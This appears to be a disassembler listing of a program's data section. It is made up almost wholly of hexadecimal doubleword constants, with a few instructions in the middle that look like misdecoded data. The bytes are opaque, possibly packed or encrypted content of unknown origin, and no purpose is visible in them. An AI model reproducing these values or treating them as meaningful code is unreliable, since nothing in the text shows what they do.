		dd 0DAACFE31h, 0EE7DA7AFh, 17B4D80Fh, 0A000B3FFh, 0C6EF0C96h
		dd 0B5E1667h, 55010023h, 0F2053C7Dh, 6F6DAC0Eh,	6E1027B9h
		dd 1424F990h, 0CDF4C1h
		dd 89BDB29Eh, 0FC2C66B3h, 8367E113h, 96FA9800h,	383A3C04h
		dd 0E580C00Dh, 0B09CC845h, 99008B97h, 0C14F1182h, 73B3C56Ah
		dd 0D62F0020h, 0EC2AC8C3h, 9CB8751Eh, 98ADEA00h, 7978CE50h
		dd 0C7F800C4h, 9CDDE51Fh, 0F7013FFDh, 500C65AEh, 1430B454h
		dd 1FBA01F6h, 9BC780DCh, 8E2CF5A9h, 8D4F48h, 406D5427h
		dd 0DB490953h, 0A0703A0Eh, 95A62607h, 0EEE03BB0h, 0A1346Eh
		dd 827F1DD2h, 942A60C5h, 0BBAAA31Dh, 86D6D300h,	0FA3049h
		dd 0D5C8641Dh, 8B07C695h, 975E2B01h, 0E9B85F75h, 1F737430h
		dd 40BE99D7h, 0AF0EB31h, 0C91D57BFh, 80BA681Bh,	6B0C8FD5h
		dd 0B22CA0h, 5323FADDh,	0EE04CE17h, 0D979850Bh,	0E8E0004Ah
		dd 25BF3C3h, 424F3931h,	2C40E9A4h, 0E6C05A5Ch, 84E2B42Ah
		dd 14EE4Ah, 4F31273Dh, 8948B73Fh, 4EF33E00h, 0B2157829h
		dd 247B0019h, 0DF829596h, 3F9016D8h, 0DE680D60h, 69E3A6Bh
		dd 1AC85A5Fh, 0B802A88Bh, 0B0CA6688h, 0A936C0BCh, 0C931C089h
		dd 9F510494h, 0A5AFDD07h, 10F3F68Ch, 1FC6A85Eh,	0BC1800A1h
		dd 0D4408BBAh, 4B00A713h, 4748CB1Eh, 365D11h, 0BBC73BCEh
		dd 1CC5C602h, 8C9BD40Eh, 6EB4C00Fh, 0CC3813h, 677990F2h
		dd 0ED746207h, 0C6EA1A04h, 90802A97h, 0B3F16Dh,	4878C331h
		dd 0CE12BF73h, 0E6FFCA00h, 0E4809968h, 0A3F93DBCh, 727AC580h
		dd 386DF130h, 81D0A400h, 0FAFE0235h, 2CC72C8Dh,	0DC170094h
		dd 0DE9D30A5h, 204A4E00h, 6807D635h, 616F1D8Ah,	6CD1C303h
		dd 729841D8h, 4900AED7h, 519AAC4Eh, 5047BA3Fh, 71DAF03h
		dd 27707D48h, 807780B9h, 1A003D74h, 0BB3E4CEh, 1F638DC1h
		dd 2E8A113Bh, 75F1639h,	9FFBFD78h, 0EC9B0BD7h, 6F5D58A0h
		dd 0BF039B09h, 0FF35BEB9h, 0B1E488ABh, 3EB7644h, 4B72FE3Eh
		dd 409889A6h, 383F0F56h, 65479282h, 0CA103C00h,	66CC1BCh
		dd 936B1504h, 520364E5h, 0FDED6574h, 4A11D0F4h,	290075Bh
		dd 50BEEA68h, 35070534h, 2370B100h, 0FE247CECh,	436D3EDDh
		dd 0D9C493h, 32712AFBh,	35009BF8h, 40D731B7h, 10DA34h
		dd 3B49F61Eh, 428CFDA5h, 2787609Eh, 0FBB51h, 6EDE463Eh
		dd 606C0001h, 3A9B1719h, 9117A434h, 5447F95Bh, 0BCD15EB3h
		dd 0C2FA11EAh, 0C654C014h, 0D0F40047h, 4E8FA01Ah, 32008154h
		dd 6462DF3Dh, 1D344A40h, 11ACD02h, 0AC67B672h, 84BEDC91h
		dd 76B56905h, 0FEC06499h, 12D5B4FEh, 0EB987Fh, 0B9B753E0h
		dd 8D7EDEF8h, 94B02D03h, 0C8ADBA05h, 0F350C7Dh,	0A2CA9713h
		dd 0C880A929h, 3FE4E30Dh, 7D6B4D00h, 0B8E8B6D3h, 3C560195h
		dd 0F8E2C204h, 0C0746067h, 7830075Dh, 108F1h, 61A1D322h
		dd 0B4C04DF1h, 0CEBE419Fh, 0E2C1D8h, 0C6164968h, 74ECE18Ch
		dd 2E73538h, 0FEAD37F8h, 0BB476010h, 56060086h,	2803334Ch
		dd 55ECA11Bh, 38C0B27Bh, 501D7D88h, 376B012Dh, 0CF12E629h
		dd 25A6C8CDh, 85104C00h, 0A50296ECh, 0FE600040h, 911BF4E2h
		dd 50026A69h, 0ABE456F3h, 204634h, 4B1C26A4h, 0C87C21DCh
		dd 0B9F09600h, 0BA2FCD2Bh, 78BF01E5h, 64206962h, 3889C075h
		dd 61400E03h, 0AA02FF5Dh, 6ADD604Eh, 63A00011h,	85190F8Dh
		dd 9005CDFh, 4EBFB3FEh,	36BC0Bh, 0ABC4F234h, 29255FBh
		dd 0BA46B500h, 99A8CBEFh, 3BD2A00Eh, 0B8C10785h, 1722BFDEh
		dd 0BDA7A04Bh, 0F4604957h, 53A0349Ch, 707C000Fh, 67B19F09h
		dd 1400ECCBh, 0E56B3C92h, 0ECE9DF3h, 0E64AFEEBh, 0D4CB5DE0h
		dd 441C458Ah, 5877065h,	6D90166Fh, 0E6EC7Eh, 0C5F3106Ah
		dd 0A7835DC7h, 5190C000h, 0A05C07FFh, 55770034h, 0FCCC502Ah
		dd 4604D475h, 62A59E5Eh, 1F7768D3h, 9DF16E30h, 0EF2870A4h
		dd 96009FE1h, 0F9CA611Ah, 38EC6572h, 450F6297h,	60E0031Eh
		dd 0DDCDDEF3h, 1DA7113h, 8EC45700h, 97B898h, 6FAA6241h
		dd 4FE04AB3h, 2F807A00h, 0DDEE371Ch, 0E3C900CAh, 8B3371C4h
		dd 0D50090CEh, 9344A509h, 741A65FFh, 66B400FAh,	410D3E69h
		dd 99796F43h, 0C0319B24h, 35860600h, 60D990h, 0CE938E4Eh
		dd 229EFD75h, 89802412h, 74D920C0h, 0A6762EB2h,	7E5A00E1h
		dd 0B575A844h, 0E80724FAh, 95F4BE0Bh, 40C75832h, 7713C0h
		dd 0D7C14579h, 308AF82Ch, 8E02ED3Eh, 0C00AD1FEh, 0B43BA46Bh
		dd 0BF0700E0h, 11BB42DFh, 0E1008823h, 2FFB5AF6h, 8C975h
		dd 84F914C0h, 68EAE5F5h, 0A6FCA100h, 0FF78F743h, 34AD005Bh
		dd 75E35756h, 65009FFAh, 245CA427h, 1769CFh, 0E56CB989h
		dd 0EE0D99A0h, 97E0CC13h, 57B0B403h, 272F90E2h,	25770015h
		dd 0CFB83F71h, 5400E303h, 0F8D42632h, 33C118h, 6EE40EDAh
		dd 0A602C317h, 36622300h, 0C4B81226h, 0EAE80C72h, 6D210CC5h
		dd 0B555ECE1h, 0D893EB00h, 536CAF2Dh, 0A36500DDh, 8E724E9h
		dd 8E0A0DD3h, 0A8AE6EEDh, 33A9EF00h, 230329h, 0B46D38EAh
		dd 0A843D6D8h, 83B6A200h, 7D6EA953h, 6FD200ABh,	0EC719ADFh
		dd 858155Eh, 0C3C00025h, 63EF5AB2h, 1C1F4B5h, 72E6133Ch
		dd 20475356h, 3E489A4Eh, 0C621FA00h, 3280D847h,	12213914h
		dd 0D0AB6E98h, 6304CE0h, 0A21E271Ch, 2D6B7401h,	8DC4D01Bh
		dd 0C6A100DEh, 0D280C072h, 96E6C845h, 0AE4C7F00h, 0A6B5F637h
		dd 13950067h, 233EA7F5h, 201C2D0h, 0F47001B8h, 3CD44155h
		dd 0B7F676h, 1A618FB6h,	8B44ECE4h, 7301037Dh, 4289B821h
		dd 0C4725933h, 0D0EF2B87h, 22AB9C52h, 0BDC32300h, 509BAD54h
		dd 2FEC95h, 8C9F1832h, 41D0670Dh, 386BF8C0h, 0B5F6F56h
		dd 9E61F8E5h, 0AA27A400h, 12005C51h, 5055D846h,	6058F454h
		dd 0BB2B922Eh, 0BEE8F610h, 0F2C3EB0h, 7A002CDBh, 9C9A9630h
		dd 0D4A80061h, 3D5B73C6h, 8000B836h, 0B11EE98Fh, 256494h
		dd 23AFC4E2h, 319E699Bh, 0DDD02607h, 0CD70A184h, 0D8C64Eh
		dd 3D8B3244h, 6F912865h, 0AA77AE01h, 0E18776FBh, 0F5D509Dh
		dd 0F5C00D83h, 67DE8095h, 89038D03h, 0A0F1F8AAh, 2BB7C3h
		dd 6062E321h, 12FC16C7h, 0D28DC00h, 427AC06Dh, 63860117h
		dd 67BF2D3Fh, 4E5AE805h, 0C8C538h, 35AF1932h, 7EB2A76Ah
		dd 883C01C1h, 2C04D7DAh, 6F12DC0Ch, 64CACB0Fh, 0C3F007ABh
		dd 0A9B7D381h, 131C8020h, 4CF4FB81h, 75F8AEC8h,	175FE73Ch
		dd 5C00C98Bh, 64015202h, 38C71E1h, 0C3D923F2h, 0C0EDE27Ch
		dd 8DDA5120h, 344D2406h, 0EA894Ah, 1890F5B9h, 0E247EA26h
		dd 0F21933Dh, 0A1D0B73Bh, 0C7460962h, 5148402Fh, 26B0E70Fh
		dd 90072F14h, 49E200C5h, 9B21C519h, 0C2E11CEAh,	84D8C0C1h
		dd 0CAFF18F9h, 75B37F00h, 4DFD2832h, 9D080111h,	1DD4A016h
		dd 137C307Ah, 0B44C3C28h, 832B4A13h, 5E6B48C0h,	278E07E7h
		dd 0B0F01EB9h, 0A8985007h, 6E2B5600h, 3B9D1741h, 81A10037h
		dd 5A1AD1ACh, 0FA00149Fh, 0D9539CEBh, 1E5A8DBh,	94386A4Fh
		dd 0D81FC14Ah, 0C0172F6Ch, 7000A1E3h, 1CDDCC47h, 64E606h
		dd 8F491152h, 0C4A03154h, 6ABAF803h, 0D881F1A5h, 6C38A6h
		dd 0C542900Fh, 9DE0477Ch, 41C60324h, 6410D703h,	8F7A98B2h
		dd 0B43100E1h, 0AC38315h, 8900D3FCh, 983E6E88h,	0CA9ECE5h
		dd 5F65AC29h, 0FD1F4A11h, 0F640AF45h, 88422CD1h, 0EBF30063h
		dd 0B148056Eh, 0B44AD28Dh, 3DA35CC1h, 0FCEE0F6h, 758003D7h
		dd 749EFF76h, 0A05FF5h,	0A39CFCC2h, 0A50F9632h,	40D16406h
		dd 0C1339DC8h, 7AE90037h, 35570D4Ch, 2E00F5EEh,	0BF7366FBh
		dd 0B4720Ah, 77453159h
		dd 1B9EA8A4h, 6B769500h, 0DDD2B661h, 145300E9h,	0CA3A64ACh
		dd 0D500EC92h, 721130B3h, 3E18DCBh, 7B908FCh, 1000C8CCh
		dd 530AA7B0h, 18AB57h, 7A7F4192h, 6C2AC65Dh, 0EE398FF2h
		dd 0DC34002Ch, 0C572A59Ch, 9A81093Fh, 0E8E009EAh, 0DD031C90h
		dd 3E7180FDh, 0B45824A3h, 0FF570090h, 2FFC8FDEh, 2129AF00h
		dd 839B1EBBh, 0FAEB0061h, 4B8B9653h, 0F200A12Bh, 9F2F9C74h
		dd 0E0EF64h, 9E827FD1h,	0CE05B8EDh, 0A6336E00h,	17DDC04Bh
		dd 4248006Fh, 1AC1DF7Fh, 0B6003646h, 31A72A6Bh,	98BE0DCh
		dd 4E3814B2h, 4A3B9100h, 9D27C18Eh, 2DFC80EBh, 3A8027h
		dd 6F8D49F0h, 0A0C61B19h, 8A82C107h, 3060570Ah,	7313919Eh
		dd 0F87103D2h, 7F43B6EDh, 30773DB1h, 0CF00B48Ch, 0C968E183h
		dd 58DA6758h, 0CB0048D6h, 0B38EA67Ah, 0E700F5A1h, 0C3F64877h
		dd 60309CCDh, 0DF2E20ECh, 800525Ch, 6AC5AB2Dh, 1D5A7762h
		dd 0B3B5DBFAh, 69B9860h, 0D2A3C6E0h, 610DB318h,	0F75018h
		dd 7276245Ah, 8A1ED1Ch,	0CC7C9918h, 41BB721h, 0BDA641B3h
		dd 21C0AD3Fh, 0C30280AEh, 5691E0C5h, 9C1F3C00h,	4D6B5B65h
		dd 631C02DCh, 4195406Ah, 8FEA7440h, 7B000094h, 3D87F59Fh
		dd 1103050Dh, 0A2F392h,	374FCAF8h, 0DD006E93h, 0A4CD71DBh
		dd 6DC4AFh, 0E5F9E705h,	0C8AE3736h, 920F4E00h, 172478D0h
		dd 0DD572755h, 3CC4BCA0h, 7E7B33B0h, 9232CF0Fh,	7C00D6E8h
		dd 0B66C0DFBh, 6F37B5Bh, 1FF85423h, 4EF48426h, 2F09C7F0h
		dd 80ABF195h, 0AACCC883h, 0C90C0102h, 61DBEDC4h, 6F0A8C6h
		dd 80243E3Ah, 854F3782h, 2B63C63h, 0B5B38C9Dh, 507AFD21h
		dd 4064AD3Bh, 0A16A03B8h, 7271AA50h, 6ADA92C1h,	0A08E2000h
		dd 1CE3AD1Dh, 0C1CCFD80h, 0E4020CFBh, 0F926E8BCh, 7B17A600h
		dd 0E0FDB097h, 915B2628h, 8DF780CCh, 0EE9A5EC7h, 0C0FCE701h
		dd 55431E78h, 0D82070h,	0BB352B92h, 0B40B417Fh,	75E4271Dh
		dd 6080BDDFh, 5B45D58Eh, 0AC083E89h, 755F0AEh, 0E16AA01Bh
		dd 314459C7h, 0FCA620ADh, 2372803h, 0A0B895B3h,	18D99786h
		dd 6132FD23h, 25001C7Ch, 9058468Ch, 8697DCh, 182A6C74h
		dd 44D96FD5h, 0C8671900h, 3699E253h, 0D88D00DFh, 0F3F16039h
		dd 2D005272h, 70ECC815h, 819D6h, 8E40F61Eh, 46262C11h
		dd 6B93B300h, 4876A344h, 12569001h, 90E62Fh, 575A7514h
		dd 4E5CB393h, 0D3EC1D57h, 0A9F38680h, 3D651EDh,	81E02184h
		dd 683A3603h, 5C1280DEh, 4AD0388Eh, 4811F66Fh, 0F239C98Ch
		dd 0B720CD89h, 0C7000859h, 390EDAB9h, 588A00D5h, 5425CB51h
		dd 9CFA4F7Ch, 57596C61h, 309DFAh, 0D42F2EEh, 55B97406h
		dd 0B22FD428h, 0AD627213h, 0A1959001h, 0F342E064h, 82847CAEh
		dd 0D891446Eh, 0B2C6A040h, 19308400h, 3E085D0Bh, 8A8900ECh
		dd 0E2763279h, 154EC509h, 1D000DACh, 0C03EFE34h, 0EA1DA4B1h
		dd 1F412997h, 2C9F8F9h,	90AEC0C7h, 8B873DBBh, 0CE113E80h
		dd 0F62BDEBCh, 7C4DD307h, 83A043F4h, 0F43A17A0h, 10C30772h
		dd 0F0BC3E9Ch, 23462105h, 0DCEC2B51h, 0E1005A50h, 33CF6B20h
		dd 5393FEh, 23037DF8h, 17AFEA9Dh, 8F2B7403h, 88D394CAh
		dd 1DCFDC5Bh, 4797E069h, 0C0F98A15h, 0B16399A8h, 70755D00h
		dd 6E8464BFh, 57E63DB2h, 0E1D77D00h, 2E274C9Ah,	678CC150h
		dd 0AB237600h, 0BA54157Eh, 7B752C9Bh, 0F5812BCh, 5623FEE6h
		dd 0F1C8C03Ah, 100CE57h, 3886EA4Fh, 0FDB60Eh, 5B76626Ch
		dd 2CC25351h, 0E4291E01h, 0EF5C6A8Fh, 31096CCh,	8B74699h
		dd 0BED83FF8h, 0E7FEFA5Dh, 0F989B500h, 804A7A7Bh, 9DE83893h
		dd 0B2A1CA00h, 0A7D6CC6h, 27A2290h, 5832CE74h, 0E053191Ah
		dd 0A032718Ah, 3FD32DD2h, 92872E61h, 7CF166E9h,	3C07C129h
		dd 0CB23502h, 7C318B90h, 125C7C68h, 83948301h, 2590DF7Ch
		dd 18028F84h, 7BAF5BFBh, 5E244020h, 6A2700DCh, 4DFADAD2h
		dd 26488F2Ch, 90D400C5h, 1DF12AC7h, 0FD020B64h,	6A80F409h
		dd 12DA7980h, 0D0E3580Fh, 0B07FA107h, 297056A4h, 0E49D2E8Ah
		dd 0E081000Bh, 32E1221Ch, 0A6717B03h, 0DB54AC42h, 0E6E4C004h
		dd 84E30B5Eh, 11803CF2h, 2FADF757h, 354AED00h, 17A2592h
		dd 24304FFh, 87063D22h,	26C702E6h, 6270B340h, 8E07C33Eh
		dd 0BAB2DAFFh, 95C06020h, 732C000Ch, 9C10DE2h, 0F5002EC4h
		dd 5F56AB34h, 12A8B913h, 0A020CE52h, 7D254608h,	5C4C004h
		dd 0B69C0E9Eh, 0EA0754E5h, 2115D031h, 0CC00C58Fh, 0A07C3F76h
		dd 3AF483Ah, 0D5F7E7C1h, 9BB0F4EFh, 0C8CB9A94h,	0B659802Fh
		dd 181116Eh, 53998C1Fh,	30FBA963h, 2A30397Bh, 0B26AD6D2h
		dd 290F3973h, 7BC0B901h, 2FF305F9h, 0FBA8E45Dh,	85D6F70Bh
		dd 7F9C006Fh, 7A08708Ah, 58BB0092h, 0ABADD5CFh,	3509B310h
		dd 801AEB13h, 0FF163330h, 199EAC7h, 0E11F6898h,	8741EE09h
		dd 147D2421h, 9482D074h, 82585CB6h, 909FB32Eh, 0B9B25B60h
		dd 7000A6E4h, 0F94C3EC0h, 31262Ah, 0A86B4A8Bh, 5D3356D4h
		dd 65285F02h, 0C03858A2h, 4B1E56h, 6AF05976h, 5077CB4Fh
		dd 3274C500h, 0F0964EEh, 2BB90075h, 0B811DC93h,	5E00374Dh
		dd 280A913Bh, 1478E3h, 0ADAF878Ah, 4E76F5F1h, 0F8152100h
		dd 83CB0420h, 16C00A9h,	0D2CD7E69h, 4B09CF11h, 0A04DF0DAh
		dd 9963B204h, 0BBD0083h, 71BBB8C1h, 0F30E311Ch,	9E4D4A2Ah
		dd 43F28EC0h, 13EDC53Dh, 0F517ABh, 988DE573h, 990123D2h
		dd 85B412A8h, 0C460B1B0h, 0A254005Bh, 2EEFC725h, 0F800753Ah
		dd 14A93683h, 0EB3D99h,	0FD6A4642h, 0BDBAB1D7h,	98EF7A3Fh
		dd 0DA4033B9h, 0D0E684h, 6949CF14h, 0D650BFAFh,	17FB093Bh
		dd 9100455Ch, 219CBB6Fh, 0F1709BDh, 501F48h, 0BC12BA4Bh
		dd 745BAC00h, 589CF25Ch, 0D408E451h, 0B0057F6h,	69C48710h
		dd 43E50370h, 0A9C8095Ch, 0E610B0E4h, 8063E83Ah, 6B24025Eh
		dd 87616Ch, 7D963FBEh, 0A5DC5516h, 5B68E400h, 35C51945h
		dd 1FBD0F44h, 90008652h, 8709BA7Fh, 0B5EEA204h,	8F81DF51h
		dd 2F5410h, 0D3E46660h,	25004B08h, 6AC3E72Ch, 2F21608Dh
		dd 844D47h, 0E89484EAh,	37E8B60h, 0E8274330h, 0F0307539h
		dd 0B0C4EE23h, 56BA0088h, 0A1806E08h, 97A7A3h, 0EA28502Ch
		dd 7CD20092h, 72D0B138h, 0D93D2A30h, 78910011h,	0F6C9C29Fh
		dd 0B0D1004Dh, 694E024h, 822ED03Ah, 1A050828h, 91C17E22h
		dd 0DE9F1F4h, 0EC8019A5h, 45929E49h, 0AEA70A24h, 2F77A201h
		dd 0BE80E363h, 965B9794h, 8D00B9A6h, 0E60EFDE1h, 90B074CBh
		dd 0A9F600E0h, 66721676h, 3503B578h, 0A8492B6Ch, 0F84FE91Fh
		dd 0CE5AD8h, 168EA14Ch,	0C6D73CA7h, 0F5413A00h,	0A4052AECh
		dd 0B9D900F8h, 755F0D2Ch, 0E501EAF2h, 0DE2E7DA0h, 47297DDh
		dd 0CE468E00h, 0A20183C6h, 2E552B00h, 0FEC0750Ch, 2DBF000Bh
		dd 25E55870h, 44009C9Ah, 0CE108D2Bh, 825148h, 1CB5306Ah
		dd 75BF92A6h, 0DB8B9100h, 2108AC10h, 950E13E2h,	0F76C0007h
		dd 9E6AAB30h, 40B7DD00h, 90FF14EFh, 0A0753EB8h,	0E9257487h
		dd 17C80082h, 3C12B5FDh, 0DB00D466h, 49FCF1BFh,	0C9220688h
		dd 68965C53h, 8FCC1700h, 8DD57A64h, 72CF09E3h, 8000604Bh
		dd 2D8E789Dh, 0FB01E800h, 0D56F9934h, 18320053h, 23E05FA1h
		dd 0C076BA9h, 6C75C1BAh, 4353EA10h, 0CB0D0007h,	0D13A486Fh
		dd 6D009AFEh, 27839258h, 69A8DEh, 32D4965Fh, 30EA26CFh
		dd 18B58938h, 7F785019h
		dd 6BDD0087h, 0D4776D70h, 0D6173006h, 98B011F7h, 0CDEE005Eh
		dd 0C7E81218h, 99002C76h, 0EA1705CAh, 0B28208FDh, 8C520094h
		dd 542E3EFBh, 2500E258h, 0FDDDD06Ch, 3F02FCEh, 0F83F6633h
		dd 898C036h, 7C07DB4Fh,	0D72CBF01h, 0D260F912h,	69C007CCh
		dd 60CFC878h, 59BFFAA6h, 0E86D3Ah, 24D97442h, 0D10AEDh
		dd 0DED74C13h, 0C8264B90h, 48008E7Fh, 988B0531h, 1D1C3975h
		dd 407EA2A4h, 0B940E2F7h, 0AC5C3B3Ch, 1A5212ACh, 866E0104h
		dd 94FCC080h, 0BD6B24ADh, 38A00374h, 23A0B5D5h,	0CE053A19h
		dd 0E777EB4h, 4459F080h, 9ADE3B1Eh, 1B2CBACh, 0D027661h
		dd 7A387846h, 1475040Fh, 87B1C185h, 4EF4F7F0h, 9CB44882h
		dd 0ED1B007Fh, 642F8608h, 0BC12CF72h, 0A803E555h, 0F053E974h
		dd 0C5C38Dh, 37B33DB9h,	0E01599FBh, 6C0072ECh, 16DB8A32h
		dd 80F427h, 0A3817E1Eh,	888412D4h, 0EA3DEC01h, 0C15FC2CFh
		dd 7770D8F4h, 2246002Ah, 4943DF36h, 2C093F2Dh, 588A5CEBh
		dd 0AF75021Ch, 2ADA429Ch, 0C600FC70h, 0C081FBCFh, 7127DFDDh
		dd 0B8D0001h, 0DA54A187h, 0F81E2F06h, 0E6401D3Eh, 0C266F0CDh
		dd 2C17F09Fh, 6D8DE0h, 5713487Bh, 0C9005489h, 44C02CA8h
		dd 2A7F6h, 65EE375Eh, 0CB367268h, 0C7494Ch, 78827E53h
		dd 0D24740h, 6354AA89h,	0D9FAE252h, 4B45CE00h, 0E4CD506Ch
		dd 0C72A0042h, 0F2BCC695h, 3FF06A6Bh, 69D26605h, 0E0C14F04h
		dd 0C4FC4AA0h, 74033CA9h, 68190B82h, 0DE40A1B4h, 0C09E2649h
		dd 7F32A09h, 8E20A654h
; ---------------------------------------------------------------------------
		xor	[eax], edi


loc_544546:				; DATA XREF: ___:off_445210o
		xchg	al, [eax]
		retn	1D78h
; ---------------------------------------------------------------------------
		db 23h
		dd 9D1636E4h, 2790390Ah, 1F00CC26h, 0BF982461h,	12D4F0BEh
		dd 0F0215E1Ch, 331DB260h, 0E400E919h, 0A75D31ECh, 0C11D265Ch
		dd 2C582546h, 0E30286E4h, 0D5DBDEE8h, 0B0BF82A9h, 80E4D469h
		dd 524A468Dh, 9775D3A2h, 82118E3Ah, 665998D2h, 0BC24400Bh
		dd 86392C53h, 7D19C7Ch,	0F0E89B15h, 37FF8B35h, 211CDF00h
		dd 883E9B0h, 0D59101DAh, 23054287h, 0EC613038h,	0CCC60309h
		dd 87800A4h, 0CF3716h, 8CE8D7B2h, 57FDA3F4h, 4B000270h
		dd 34033E89h, 0BF1EFB49h, 0C6002B78h, 0AD3019B2h, 3B7740E7h
		dd 0C080FE66h, 0E5722EBDh, 0C87E5BE6h, 577EFA00h, 5A1D64F9h
		dd 0E9950055h, 0D9A5D4EEh, 46053992h, 8DE42AA6h, 0B0346B80h
		dd 953A0F7Dh, 35A0484Fh, 0F3263201h, 691FFE09h,	83F0D1D3h
		dd 64BB1324h, 559BA4B0h, 48893800h, 0F2935F09h,	0C0D80034h
		dd 0B183BE7Fh, 227D9117h, 4A941816h, 6D48E01Eh,	0FB75807Dh
		dd 2FC5533Ch, 9D2D28EEh, 0BA08E020h, 97A7017Fh,	10890F4Dh
		dd 0D324E0A1h, 7AE99200h, 0E95873Eh, 97620064h,	0CEA3DD5Dh
		dd 0BF753F1Fh, 0DBF9171Ch, 0EBEC1601h, 0BEC85FD0h, 0CE2C38FBh
		dd 0D9090C00h, 36D159Bh, 95CFD100h, 0B4D3884Ch,	5B7211h
		dd 0BD206E6Ah, 0FB0D3989h, 2D4C8B00h, 0B6D5D985h, 0E15C3C6Dh
		dd 0FC155B80h, 0E9E4F287h, 0F3EE6F00h, 0CCEB84B2h, 4A7DD1h
		dd 504E83DFh, 9372E014h, 0CBAF5E00h, 0FEC2A22Fh, 559201DDh
		dd 3703C0E9h, 0F86838h,	0DC0E1EB0h, 0EC31A84h, 88E46FB3h
		dd 831D5800h, 3E00F271h, 4BF319Fh, 9B7940h, 93A4ACD1h
		dd 8CA53AA6h, 0AB698D00h, 0DC7F2EF1h, 0C99F0B11h, 3471B8C8h
		dd 52F43405h, 78E08416h, 3CBAFA15h, 0DA804305h,	0F05967D5h
		dd 702CAA7Ah, 0D00EC2Fh, 0E0AD98A9h, 1E400BEh, 4C845BFCh
		dd 0A33FBC08h, 9E690085h, 4F615545h, 5ED00386h,	73E3093Fh
		dd 0C809F8A6h, 56460F32h, 34DC8020h, 4CE6F176h,	59BCCC00h
		dd 7FBE1E3Ah, 0B80249E2h, 85DCD901h, 0D8ABFEDEh, 3A008EF1h
		dd 0F2DD8807h, 92E0FDh,	0E8FF2138h, 0FAEBCADFh,	99235E0Ch
		dd 0FD11F4h, 0B898344Fh, 0F8E9D0E1h, 11070898h,	9E65DB3Eh
		dd 0DCE82BF5h, 22144500h, 755230Ah, 892F6918h, 7132AF18h
		dd 0CAA0A3Fh, 901848A1h, 601B2017h, 3B530808h, 300CBCCh
		dd 0E99F6750h, 39642A56h, 75798074h, 90F1E4C2h,	0CFE600AFh
		dd 0B5DB181Eh, 422F2D2Fh, 7B58E8F5h, 71B3E4D0h,	57E20010h
		dd 662B2D77h, 2C03C8B8h, 0B68961AEh, 0C5C1A881h, 0C73F0045h
		dd 0E21FF2A9h, 730A52FBh, 0B4356B60h, 8B781680h, 0E728C0h
		dd 685A6C84h, 31B741E0h, 37943Dh, 28BCFE53h, 0E96B8E23h
		dd 0DF15DCh, 6C24CFF7h,	728F3666h, 0E43DA700h, 635E99C5h
		dd 1E7CD1h, 0AC7F1A4h, 33E3FA68h, 0E0B09C6Eh, 38F5242Ah
		dd 0B12E03D1h, 0D6EBC106h, 0F8770880h, 98ABA71Ch, 10EC0780h
		dd 72A3EC0h, 0A10E9C54h, 462E2B1h, 803862FDh, 0C93ADCCFh
		dd 36B60921h, 0F87CEFE8h, 0EA043194h, 8FE2B3E8h, 30C15806h
		dd 77199683h, 8C0D0033h, 84D9D1F7h, 0B6004241h,	4F8BFEAh
		dd 18ABC223h, 3867CFB3h, 28600A38h, 0F4B5D651h,	0BFB6004Ah
		dd 652CE732h, 42006B7Bh, 0E1DA2610h, 12663896h,	0B49912B4h
		dd 24009DACh, 0F66E6307h, 1793FBh, 8E9E8C14h, 0BE9A2708h
		dd 52B42A1Ch, 23073080h, 604FA616h, 55286025h, 0CA32114h
		dd 7C003AA2h, 802D3DB2h, 661FB614h, 9300E369h, 2989F6E8h
		dd 371F7CEEh, 513033E7h, 30BD1AA2h, 1139228h, 5118993Eh
		dd 4C60A0h, 0D7E31795h,	1D244A2Dh, 0B03B58C2h, 0B68490C3h
		dd 0B2452884h, 11F7E08h, 9DBA9169h, 0C82D893Bh,	7500584Dh
		dd 0D028C777h, 946A6E2h, 8B2CDCA9h, 6DAC46C0h, 3ABBE100h
		dd 0E8344E01h, 0BE9126F9h, 0A358428Ch, 0A6702057h, 627E6E3h
		dd 9AB3BFCDh, 0B4017866h, 292642A5h, 6AF0AF89h,	0F03A5081h
		dd 66EA8891h, 64D22E00h, 7440AF86h, 774A003Ah, 38EE251Dh
		dd 660F5D9Ah, 392A04D4h, 28F04748h, 0ED88A06Ch,	849C3E0h
		dd 41CDFFBEh, 4C93D2C4h, 9A9805Ah, 4B954094h, 0EF760010h
		dd 24AD2F8Dh, 0C18CED7h, 0DA58362Ah, 9DB60C66h,	1694B3Eh
		dd 62DB1B00h, 3AA4D69Bh, 190CA05Ch, 4DF20FD2h, 41520D38h
		dd 0F6CA2538h, 9EE09FFFh, 6A80FCDFh, 6E067DD0h,	4CF100A6h
		dd 32B43CD6h, 0AE1808CEh, 2B039D3h, 85EC01A1h, 4A18C59Ch
		dd 0C9B9805Bh, 0A2CCD629h, 0D98C0002h, 54593278h, 0F008A7Bh
		dd 2B716B69h, 90ECAEFAh, 14EEC6Ch, 3B28C406h, 8329BA0Ch
		dd 89B47848h, 0CE6A986Dh, 4B552C7h, 762C1C0h, 66756F22h
		dd 9E56931Dh, 3C3EBEh, 5F651A08h, 1C481B72h, 0CB8CA86Dh
		dd 0BD80AA81h, 4D30AD79h, 1F029F00h, 237B66CEh,	7E8A02B4h
		dd 8EC077AEh, 86950640h, 0F06738A1h, 0BE031828h, 46D22938h
		dd 0D5083070h, 285C8421h, 62895F00h, 9A17B7E8h,	0C7FEF0h
		dd 0EA51423Ah, 0C3F4367Dh, 9876B539h, 0EE686097h, 0D0466FF9h
		dd 0CD60C6EEh, 49E74447h, 0F72DE600h, 1439D4C3h, 0AE30008Fh
		dd 4446721Fh, 9F0A33CEh, 20EF01BAh, 8C2EE970h, 0B6D4B05h
		dd 0A040B39Fh, 8D919395h, 32810636h, 8893EC3h, 7E21B260h
		dd 2F91BAh, 0B1BB663Ch,	10838124h, 0B7C07306h, 0E09F47h
		dd 2FD2C550h, 0CE60AF01h, 69C99215h, 174A00D4h,	0AC27578h
		dd 0EBB01963h, 80510812h, 787F8721h, 3D6DFCDh, 0E3A902F7h
		dd 0B8983444h, 89C0AE9Fh, 392AD8F6h, 4B7D0E9Bh,	3F20FFF4h
		dd 6F152DE2h, 7B9E6301h, 6D5606E9h, 8C7090C2h, 4636E491h
		dd 982279h, 0E191976Bh,	0E26FF6CBh, 56375D00h, 5204BF50h
		dd 449D4136h, 232C2BC3h, 46D1009Ch, 0CD416F36h,	39F8FB00h
		dd 9506A14Ch, 0F38D1220h, 8B1C40C1h, 5223AC5Ch,	0D2001290h
		dd 7CBC0A63h, 0A97DC93Eh, 0CBCD6194h, 3DF4D4h, 0D133BD10h
		dd 6A4C7AA9h, 0B7D75405h, 0FC1FCCE7h, 56E5BA44h, 0C6C23480h
		dd 0D3C10016h, 476DAB45h, 689266C0h, 0C93C46E0h, 0A3961D90h
